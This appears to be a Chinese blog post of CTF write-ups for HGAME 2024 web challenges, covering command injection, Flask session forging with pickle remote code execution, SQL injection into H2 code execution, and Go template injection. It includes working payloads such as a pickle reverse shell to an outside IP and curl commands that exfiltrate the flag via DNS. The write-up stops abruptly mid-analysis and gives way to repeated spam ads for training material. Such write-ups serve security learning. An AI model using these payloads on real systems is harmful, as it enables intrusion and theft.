HGAME 2024 WEEK2 Web方向题解 全_what the cow say (2)

render_template('index.html',result=result) @ app.route('/post',methods=['POST'])

def post():
if request.method == ‘POST’:
user_input =request.form[‘user_input’]
result =run_cowsay(user_input)
return

render_template(‘index.html’,result=result)

def run_cowsay(text):
try:
if(waf(text)):
cmd_output =subprocess.check_output('cowsay ’ +text, text=True,stderr=subprocess.STDOUT, shell=True)
return cmd_output.strip()
else:
cmd_output =subprocess.check_output(‘cowsay Waf!’,
text=True, stderr=subprocess.STDOUT,
shell=True)
return cmd_output.strip()

except subprocess.CalledProcessError as e:
    return run_cowsay("ERROR!")

def waf(string):
blacklist = [‘echo’,‘cat’, ‘tee’, ‘;’, ‘|’, ‘&’, ‘<’,‘>’, ‘\’, ‘flag’]
for black in blacklist:
if (black in string):
return False
return True

if name == ‘__main__’: app.run(“0.0.0.0”, port=80)


flag位置:`/flag_is_here/flag_c0w54y`


![image-20240207002254334](https://img-blog.csdnimg.cn/img_convert/aaffb115bfd011e0b104b5acc0fa9e1b.png)



hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}


## myflask


题目描述:善用搜索引擎,容器中的 Python 版本为 3.11


![image-20240206233929260](https://img-blog.csdnimg.cn/img_convert/8aa45522b7be038debefc2bd743b2650.png)


直接给了源码:



import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone(‘Asia/Shanghai’))
currentTime = currentDateAndTime.strftime(“%H%M%S”)

app = Flask(name)

Tips: Try to crack this first ↓

app.config[‘SECRET_KEY’] = currentTime
print(currentTime)

@app.route(‘/’)
def index():
session[‘username’] = ‘guest’
return send_file(‘app.py’)

@app.route(‘/flag’, methods=[‘GET’, ‘POST’])
def flag():
if not session:
return ‘There is no session available in your client 😦’
if request.method == ‘GET’:
return ‘You are {} now’.format(session[‘username’])

# For POST requests from admin
if session['username'] == 'admin':
    pickle_data=base64.b64decode(request.form.get('pickle\_data'))
    # Tips: Here try to trigger RCE
    userdata=pickle.loads(pickle_data)
    return userdata
else:
    return 'Access Denied'

if name==‘__main__’:
app.run(debug=True, host=“0.0.0.0”)


两个步骤。1、破解session;2、pickle实现RCE


session密钥是当前时间,在根路由刷新,`/flag`路由刷新网页不改变session。


![image-20240206234444244](https://img-blog.csdnimg.cn/img_convert/13f9f257677f3613f0d343c2ecae2e1c.png)


我当前时间戳(密钥)是234221。


![image-20240206234455231](https://img-blog.csdnimg.cn/img_convert/240df422d5e3c3b1658ac328dbbc89e6.png)


我们小范围爆破即可。`230000`->`234221`


当前session:



eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4


脚本解密看看结构



#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b’.‘, 1)
payload, timestamp = payload.rsplit(b’.', 1)

decompress = False
if payload.startswith(b'.'):
    payload = payload[1:]
    decompress = True

try:
    payload = base64_decode(payload)
except Exception as e:
    raise Exception('Could not base64 decode the payload because of '
                    'an exception')

if decompress:
    try:
        payload = zlib.decompress(payload)
    except Exception as e:
        raise Exception('Could not zlib decompress the payload before '
                        'decoding the payload')

return session_json_serializer.loads(payload)

if name == ‘__main__’:
print(decryption(“eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4”.encode())) #输入session


非常的朴实无华


![image-20240206234832747](https://img-blog.csdnimg.cn/img_convert/78cc2f4f8748b849407e184e2a5b911d.png)


爆破密钥脚本:



import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys

path = “wordlist.txt”

print("Generating wordlist… ")

with open(path,“w”) as f:
#permutations with repetition
[f.write(‘23’+“”.join(x)+‘’+“\n”) for x in itertools.product(‘0123456789’, repeat=4)] #加上前缀

#url = “http://47.115.201.35:8000/index”
#cookie_tamper = r.head(url).cookies.get_dict()[‘session’]
cookie_tamper=‘eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcJSFQ.1hGqXUp2ShF_fZMMfz2htjO7Kz4’
print("Got cookie: " + cookie_tamper)

print(“Cracker Started…”)

obj = flask_unsign.Cracker(value=cookie_tamper)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:
obj.crack(iterator)

secret = “”
if obj.secret:
secret =obj.secret.decode()
print(f"Found SECRET_KET {secret} in {time.time()-before} seconds")

signer = flask_unsign.sign({“time”:time.time(),“authorized”:True},secret=secret)


密钥`233629`


![image-20240206235214865](https://img-blog.csdnimg.cn/img_convert/18c65a912e657b8acd87f883df522217.png)


之后`flask_unsign`工具伪造session即可。



flask-unsign --sign --cookie “{‘username’: ‘admin’}” --secret ‘233629’


![image-20240207000052384](https://img-blog.csdnimg.cn/img_convert/74954c82cc62bfe15a0d3374c67fa080.png)


伪造成功,开始第二步。


![image-20240207000125898](https://img-blog.csdnimg.cn/img_convert/f98ce91037312c6cc61112d2d8e79c62.png)


注意,pickle,版本要一致,版本是311。


脚本:



import pickle
import os
import base64

class aaa():
def __reduce__(self):
return(os.system,(‘bash -c “bash -i >& /dev/tcp/120.46.41.173/9023 0>&1”’,))

a= aaa()

payload=pickle.dumps(a)

payload=base64.b64encode(payload)
print(payload)


寄了,我就知道没这么简单。


![image-20240207001514534](https://img-blog.csdnimg.cn/img_convert/07c6c850f9af8f2e821e7ea7c5265bfb.png)


报错看不太出来什么。我之前生成pickle那个引用了os包,可能环境没有,换个脚本。



import pickle
import base64

class A(object):
def __reduce__(self):
return (eval, (“__import__(‘os’).popen(‘tac /flag’).read()”,))

a = A()
a = pickle.dumps(a)
print(base64.b64encode(a))


![image-20240207001941213](https://img-blog.csdnimg.cn/img_convert/391db080c1d011100e625cdbce4b11e6.png)


果然如此。payload:



POST:
pickle_data=gASVRgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwqX19pbXBvcnRfXygnb3MnKS5wb3BlbigndGFjIC9mbGFnJykucmVhZCgplIWUUpQu


![image-20240207001842683](https://img-blog.csdnimg.cn/img_convert/9a596ab27a051b7f6b38993a8bb5abd1.png)


## Select More Courses


题目描述:ma5hr00m wants to take more courses, but he may be racing against time. Can you help him?


hint:



> 
> 可参考的弱密码字典:https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt
> 
> 
> 


开题,首先要登录,注意系统提示。


![image-20240211235128609](https://img-blog.csdnimg.cn/img_convert/a9dd6c2fd71416720c7600bd59abc9ea.png)


密码直接拿hint给的密码本爆破。密码是`qwert123`


![image-20240211235338463](https://img-blog.csdnimg.cn/img_convert/06f3166cb24b393dda69b2c4e026b2ff.png)


点击扩容:


![image-20240211235445477](https://img-blog.csdnimg.cn/img_convert/162e3bfe5034f0fd1aa8db06f07e6ad7.png)


提示和时间赛跑


![image-20240211235511887](https://img-blog.csdnimg.cn/img_convert/96f9903b9eaef57af1fa57d7d3dfaf1e.png)


![image-20240212000035059](https://img-blog.csdnimg.cn/img_convert/8d19c233d1063acf503bfc71821e9caa.png)


还有一个是选课界面,只需要选一个。


![image-20240211235958169](https://img-blog.csdnimg.cn/img_convert/7d0e2062345edc35166f8bcdd3c6443e.png)


猜测这里要同时选课+申请。预期应该是双线程脚本,我直接双开爆破了。


![image-20240212000128964](https://img-blog.csdnimg.cn/img_convert/5f118f5a9dfd67ce72883a4367140b23.png)


选上了。


![image-20240211235926902](https://img-blog.csdnimg.cn/img_convert/fb699ecf95f3fd81dbb5db622f1df2e1.png)


## search4member


考点总结:SQL注入(堆叠)+h2database RCE漏洞


题目描述:Vidar-Team have so much members,so 1ue write an api to search…


hint:



> 
> 出题人失误;忘写connection.close();导致多次payload可使服务dos;请本地打通再尝试远程环境;带来不便请见谅
> 
> 
> 


有附件给了源码。是java的SQL。导入IDEA看看。



package org.vidar.controller;

import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Inject;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.handle.ModelAndView;
import org.vidar.config.DbManager;

import javax.sql.DataSource;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

@Controller
public class SearchController {

@Inject
private DbManager dbManager;

@Mapping("/")
public ModelAndView search(@Param(defaultValue = "web") String keyword) throws SQLException {
    List<String> results = new ArrayList<>();
    if (keyword != null & !keyword.equals("")) {
        String sql = "SELECT \* FROM member WHERE intro LIKE '%" + keyword + "%';";
        DataSource dataSource = dbManager.getDataSource();
        Statement statement = dataSource.getConnection().createStatement();
        ResultSet resultSet = statement.executeQuery(sql);
        while (resultSet.next()) {
            results.add(resultSet.getString("id") + " : "
                    + resultSet.getString("intro") + " : "
                    + resultSet.getString("blog"));
        }
        resultSet.close();
        statement.close();
    }
    ModelAndView model = new ModelAndView("search.ftl");
    model.put("results", results);
    return model;
}

}


数据库结构如下:



DROP TABLE IF EXISTS member;
CREATE TABLE member
(
id VARCHAR(30) NOT NULL UNIQUE COMMENT ‘id’,
intro VARCHAR(255) NOT NULL COMMENT ‘intro’,
blog VARCHAR(255) NOT NULL COMMENT ‘blog’
);

INSERT INTO member (id, intro, blog)
VALUES (【xxx】);


测试,可以sql注入。payload:



?keyword=%E4%BC%9A%E9%95%BF%25’%3B–%2B

解码后:会长%';–+


![image-20240212181636651](https://img-blog.csdnimg.cn/img_convert/6b9784d7458712a6d80b9be854096ea9.png)


获取数据库:(数据库名字为`H2`)



?keyword=zzz%25’ and 1>2 union SELECT 1,2,database();–+


![image-20240212182946225](https://img-blog.csdnimg.cn/img_convert/018c54dcafd3f4637e68c79601433819.png)


奇怪的数据库名字+数据库中找不到flag,这题可能不是简单的SQL注入。


开始搜索引擎,找到了`h2database`有一个RCE漏洞!


![image-20240212191056918](https://img-blog.csdnimg.cn/img_convert/4c25ec02ce88b63ac5021fd00bf29a1c.png)


参考:


[H2 database漏洞复现 - Running\_J - 博客园 (cnblogs.com)]( )


[Spring Boot Actuator hikari配置不当导致的远程命令执行漏洞 - 卖小女孩的小男孩 - 博客园 (cnblogs.com)]( )


这个总的来说就是创建一个数据库函数 SHELLEXEC ,函数可以直接执行命令


测试payload:(SQL注入+H2 RCE)(参照两个参考文章得出)(两个都可以)



?keyword=zzz%25’;CREATE ALIAS SHELLEXEC AS S t r i n g s h e l l e x e c ( S t r i n g c m d ) t h r o w s j a v a . i o . I O E x c e p t i o n j a v a . u t i l . S c a n n e r s = n e w j a v a . u t i l . S c a n n e r ( R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) . g e t I n p u t S t r e a m ( ) ) . u s e D e l i m i t e r ( " A " ) ; r e t u r n s . h a s N e x t ( ) ? s . n e x t ( ) : " " ; String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } Stringshellexec(Stringcmd)throwsjava.io.IOExceptionjava.util.Scanners=newjava.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("A");returns.hasNext()?s.next():"";;CALL SHELLEXEC(‘curl 28zrgzsc.requestrepo.com’);–+



?keyword=zzz%25’;CREATE ALIAS SHELLEXEC AS ‘String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}’; CALL SHELLEXEC(‘curl 28zrgzsc.requestrepo.com’);–+


测试payload,发现可以被DNS接收。


![image-20240212202742839](https://img-blog.csdnimg.cn/img_convert/401a28041cc31433a1c617c1126f790d.png)


最终payload:(执行命令)(之前`CREATE ALIAS SHELLEXEC`已经创建过`SHELLEXEC`函数,无需重复创建)(反弹shell失败了,尝试DNS带出flag)



?keyword=zzz%25’;CALL SHELLEXEC(‘bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC4yOHpyZ3pzYy5yZXF1ZXN0cmVwby5jb20=}|{base64,-d}|{bash,-i}’);–+


最终payload带出flag成功。


![image-20240212203405710](https://img-blog.csdnimg.cn/img_convert/0fc503863d29271b9196cc4fd9959a2d.png)


## 梅开二度


考点总结:Go语言+SSTI+XSS


题目描述:


![image-20240212204141634](https://img-blog.csdnimg.cn/img_convert/41a8ed4206f1c8d971141f305559556d.png)


开题:


![image-20240212204645857](https://img-blog.csdnimg.cn/img_convert/93d74d3a49f36a1120467a12a10fb6bf.png)


后端代码实现:


![image-20240212204704451](https://img-blog.csdnimg.cn/img_convert/fdefd099d885683fb6d898a9f510d97c.png)


看这`{{}}`感觉好像SSTI,又说flag在bot手上,怀疑是XSS。有意思,没怎么学过go,边做边学吧。


搜索引擎启动,搜索关键字 GO SSTI XSS 安全漏洞。真能搜到,Go的SSTI危害比较小,能用的基本上只有XSS。不像Jinja2那样可以RCE。


查找到有用的参考文章:


[浅学Go下的ssti - SecPulse.COM | 安全脉搏]( )


[Golang中的SSTI | CoolCat’ Blog (thekingofduck.com)]( )


[Go SSTI初探 | tyskillのBlog]( )


https://blog.dexter0us.com/posts/go-blogs-hacktivitycon-2021-writeup/


有附件,看看源码:(注释来自GPT4.0)



// 导入必要的包
import (
“context” // 用于创建和传递上下文
“log” // 用于记录日志
“net/url” // 用于解析URL
“os” // 用于读取环境变量和文件系统
“regexp” // 用于正则表达式匹配
“sync” // 用于同步goroutine
“text/template” // 用于处理文本模板,存在XSS!
“time” // 用于处理时间

"github.com/chromedp/chromedp" // ChromeDP用于控制Chrome浏览器
"github.com/gin-gonic/gin"     // Gin是一个HTTP Web框架
"golang.org/x/net/html"        // 用于操作HTML

)

// 预编译的正则表达式,用于检查模板字符串中是否包含非法词汇
var re = regexp.MustCompile(script|file|on)

// 全局锁,用于同步访问
var lock sync.Mutex

func main() {
// 创建一个ChromeDP执行环境,配置Chrome运行参数
allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
chromedp.NoSandbox, chromedp.DisableGPU)…)
defer cancel() // 确保在main函数结束时取消上下文,释放资源

// 创建一个Gin路由器
r := gin.Default()

// 处理根路径的GET请求,动态生成HTML页面
r.GET("/", func(c \*gin.Context) {
	tmplStr := c.Query("tmpl") // 从查询参数获取模板字符串
	if tmplStr == "" {
		tmplStr = defaultTmpl // 若未提供,则使用默认模板
	} else {
		// 检查模板字符串是否合法
		if re.MatchString(tmplStr) {
			c.String(403, "tmpl contains invalid word")
			return
		}
		if len(tmplStr) > 50 {
			c.String(403, "tmpl is too long")
			return
		}
		tmplStr = html.EscapeString(tmplStr) // 对模板字符串进行HTML转义
	}
	tmpl, err := template.New("resp").Parse(tmplStr) // 解析模板
	if err != nil {
		c.String(500, "parse template error: %v", err)
		return
	}
	if err := tmpl.Execute(c.Writer, c); err != nil { // 执行模板,生成响应
		c.String(500, "execute template error: %v", err)
	}
})

// 处理"/bot"路径的GET请求,模拟浏览器访问提供的URL
r.GET("/bot", func(c \*gin.Context) {
	rawURL := c.Query("url")    // 从查询参数获取URL
	u, err := url.Parse(rawURL) // 解析URL
	if err != nil {
		c.String(403, "url is invalid")
		return
	}
	if u.Host != "127.0.0.1:8080" { // 限制URL的主机地址
		c.String(403, "host is invalid")
		return
	}
	go func() { // 在新的goroutine中执行,以非阻塞方式处理请求
		lock.Lock()         // 在访问共享资源前加锁
		defer lock.Unlock() // 确保在函数结束时释放锁

		ctx, cancel := chromedp.NewContext(allocCtx,
			chromedp.WithBrowserOption(chromedp.WithDialTimeout(10\*time.Second)),
		)
		defer cancel()
		ctx, \_ = context.WithTimeout(ctx, 20\*time.Second) // 设置上下文超时
		if err := chromedp.Run(ctx,
			chromedp.Navigate(u.String()),  // 导航到指定的URL
			chromedp.Sleep(time.Second\*10), // 等待页面加载
		); err != nil {
			log.Println(err) // 记录错误
		}
	}()
	c.String(200, "bot will visit it.") // 响应客户端
})

// 处理"/flag"路径的GET请求,仅允许来自localhost的请求
r.GET("/flag", func(c \*gin.Context) {
	if c.RemoteIP() != "127.0.0.1" { // 检查请求来源IP地址
		c.String(403, "you are not localhost")
		return
	}
	flag, err := os.ReadFile("/flag") // 读取flag文件
	if err != nil {
		c.String(500, "read flag error")
		return
	}
	c.SetCookie("flag", string(flag), 3600, "/", "", false, true) // 将flag设置为cookie
	c.Status(200)                                                 // 发送200状态码
})

// 启动Gin服务器,监听8080端口
r.Run(":8080")

}

// defaultTmpl是默认的HTML模板,用于生成响应页面
const defaultTmpl = `

YOU ARE
欢迎来自 {{.RemoteIP}} 的朋友
你的 User-Agent 是 {{.GetHeader "User-Agent"}}
flag在bot手上,想办法偷过来
`

分析源码:


1、导包中的`text/template`(个人认为是Go语言的XSS标志)


Go 提供了两个模板包。一个是 `text/template`,另一个是`html/template`。text/template对 XSS 或任何类型的 HTML 编码都没有保护,因此该模板并不适合构建 Web 应用程序,而html/template与text/template基本相同,但增加了HTML编码等安全保护,更加适用于构建web应用程序。


template常用基本语法:



在{{}}内的操作称之为pipeline
在template中,点"."代表当前作用域的当前对象

{{.Query “aaa”}} 调用一个名为Query的方法,并传递字符串"aaa"作为参数

{{.}} 表示当前对象,如user对象

{{.FieldName}} 表示对象的某个字段

{{range …}}{{end}} go中for…range语法类似,循环

{{with …}}{{end}} 当前对象的值,上下文

{{if …}}{{else}}{{end}} go中的if-else语法类似,条件选择

{{xxx | xxx}} 左边的输出作为右边的输入

{{template “navbar”}} 引入子模版


2、var re = regexp.MustCompile(`script|file|on`)


黑名单过滤`script`、`file`、`on`


3、if len(tmplStr) > 50


限制长度50以内。(当时想着payload被限制50以内那就麻烦了)(之后想到可以绕过的~)


4、tmplStr = html.EscapeString(tmplStr)


进行转义


![image-20240212234259808](https://img-blog.csdnimg.cn/img_convert/5f46dda96cb92e230b9023c4652125b2.png)


5、根路由`\`存在SSTI,注入点是`tmpl`


![image-20240212234516553](https://img-blog.csdnimg.cn/img_convert/2781b4b55576a382458df61ac1c1edcd.png)


**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
![img](https://img-blog.csdnimg.cn/img_convert/65542216303b03ccae433cc08531ca9c.png)
![img](https://img-blog.csdnimg.cn/img_convert/5b700e4c9168bffb13ec0126015e7d82.png)
![img](https://img-blog.csdnimg.cn/img_convert/33a056055da9a1493a8052fe35132577.png)
![img](https://img-blog.csdnimg.cn/img_convert/cb59c9a63bee72cf1029d8b549d57f4c.png)
![img](https://img-blog.csdnimg.cn/img_convert/2b7b8a3bb547c5522c5d6b0cf25e808a.png)
![img](https://img-blog.csdnimg.cn/img_convert/1849c574493dc0d651250ce676d8a8fa.png)

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!**

**由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新**

**如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)**
![img](https://img-blog.csdnimg.cn/img_convert/24a7d6a85ed316261ffb4db5ebc6510e.png)




还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!


王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。


对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!


【完整版领取方式在文末!!】


***93道网络安全面试题***


![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png)








![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)





![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)





内容实在太多,不一一截图了


### 黑客学习资源推荐


最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!


对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

#### 1️⃣零基础入门


##### ① 学习路线


对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。


![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)


##### ② 路线对应学习视频


同时每个成长路线对应的板块都有配套的视频提供:


![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)

**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
![img](https://img-blog.csdnimg.cn/img_convert/2be4cb3abe4865d30acc775411b415e4.png)





![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png)





![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png)





内容实在太多,不一一截图了


### 黑客学习资源推荐


最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!


对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

#### 1️⃣零基础入门


##### ① 学习路线


对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。


![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center)


##### ② 路线对应学习视频


同时每个成长路线对应的板块都有配套的视频提供:


![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center)

**一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
[外链图片转存中...(img-Fkq8ttbv-1712835033128)]

  • 23
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值